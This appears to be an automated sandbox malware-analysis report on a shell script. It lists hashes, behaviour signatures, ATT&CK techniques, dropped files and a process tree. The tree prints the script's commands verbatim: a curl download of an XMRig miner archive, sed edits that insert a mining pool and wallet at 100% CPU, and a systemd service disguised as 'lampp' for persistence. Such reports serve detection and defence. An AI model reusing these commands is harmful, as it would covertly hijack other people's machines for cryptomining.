Analysis

  • max time kernel
    1s
  • max time network
    1040s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 12:17

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1414
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1417
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1418
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1421
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1422
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1463
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1464
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1465
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1465
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1465
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1465
                    • /usr/bin/rm
                      2⤵
                        PID:1466
                      • /usr/bin/sed
                        2⤵
                          PID:1467
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          PID:1468
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                            PID:1473
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:1472
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:1471
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:1474
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1475
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240508-en-7\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1476
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1477
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1478
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                        • Reads runtime system information
                                        PID:1479
                                      • /usr/bin/sed
                                        sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                        2⤵
                                          PID:1480
                                        • /usr/bin/cp
                                          cp /root/lampp/config.json /root/lampp/config_background.json
                                          2⤵
                                            PID:1481
                                          • /usr/bin/sed
                                            sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                            2⤵
                                              PID:1482
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:1483
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:1484
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                    PID:1485
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1486
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1489
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                        PID:1488
                                                      • /usr/bin/cat
                                                        cat
                                                        2⤵
                                                          PID:1490
                                                        • /usr/bin/sudo
                                                          sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1491
                                                          • /usr/bin/mv
                                                            mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            3⤵
                                                              PID:1492
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1493
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1494
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1495
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1496
                                                          • /usr/bin/sudo
                                                            sudo systemctl enable lampp.service
                                                            2⤵
                                                              PID:1522
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1523
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1565
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1566

                                                          Network

                                                          MITRE ATT&CK Matrix ATT&CK v13

                                                          Defense Evasion

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          Discovery

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          System Information Discovery

                                                          3
                                                          T1082

                                                          Command and Control

                                                          Web Service

                                                          1
                                                          T1102

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /root/lampp/config.json
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/sed7PJJPe
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            cc5e50b9123f4b7109cf26c81fdba253

                                                            SHA1

                                                            2b3b3f653a3e85c9659becb804152822a529ffaa

                                                            SHA256

                                                            58c4d407d307128b698e577c64bdd01d57d83ba6dbb02f75e6c2a44ccbe8a318

                                                            SHA512

                                                            9fc85ac71ea9173944f68763f7c1ee65549ba103fd8d1ee7a9c7b1d0f7397983617184d9f7fc9b795f1e87a8d3164b384e742533fbf3183e37d13d1fabd36b39

                                                          • /root/lampp/sedLH78uF
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/sedMlnpE6
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            131b108d4bea8aa3fc9173a71028382e

                                                            SHA1

                                                            a0d22d218325c6aa3b30a56e09873c798564979a

                                                            SHA256

                                                            57ccd0f94eb720d0b2ffe27c2718f5c07d93cdeb915deca57a85604ef7e0fbb3

                                                            SHA512

                                                            e91f03bb75d04d58825549df61918b0d7b43845ce4ec6ac5a3170f8ce54b4beabfb16b5d586a88243ce1fcc9fb3bde84c4c3381dc16c9a69d51be641158b9afd

                                                          • /root/lampp/sedODmh1O
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            de85e6c02a323d1d5a31fc53a15cdef2

                                                            SHA1

                                                            d74b347b8e68de7548f28b18c122a9cd1dcbd3dc

                                                            SHA256

                                                            2693104dcaba87ee3a53fd149cc7802b36a13a2f8f6c6a8197466a4abb1a71a2

                                                            SHA512

                                                            2c36e7a38fcb30f90a63bdbb620478a910dcb6e207cab8e9355696a87205e24a6c4b0f1981454d209586d9ab103ccc409a06192bac6f9d11e6c4d510e1673a0d

                                                          • /root/lampp/sedhp4WGJ
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/sedlphj3Z
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            12f6e01060c5da4b9029570da9218196

                                                            SHA1

                                                            8cbb18d8ab91797efed05235ea0c3c803e5c5cb6

                                                            SHA256

                                                            fb9038dd5b5fa0a5d65cc20b9a05e504cf2ee0588d9aafe343f4c45a50066b14

                                                            SHA512

                                                            63babe2a064dd3946fe0255b138819582d72869aaba2f4a9b30b79861d10bc8c851be707e0a5bc45dcf76ddbb0ef4dbf64910d1cbdbed105897fc24fea84d922

                                                          • /root/lampp/xmrig
                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            cac4a08efb39ba418d989810ec2fe0e7

                                                            SHA1

                                                            73481bac377816d72e19e931d26f2a149112bd5f

                                                            SHA256

                                                            556b7611225ca5b825c4b126b2919b6a0bf806704a3d7b8d9bc332179efa4d0b

                                                            SHA512

                                                            723e8fb0bd8741e70f417c8f3491c2a7567f1b9d7adfa9f40d727fff4989ab7de620a380f161922dc529d6c984231730aac02de8c9fcb8926b32350fd0b253db

                                                          • /tmp/lampp.service
                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/sh-thd.JS3cIj
                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /tmp/xmrig.tar.gz
                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9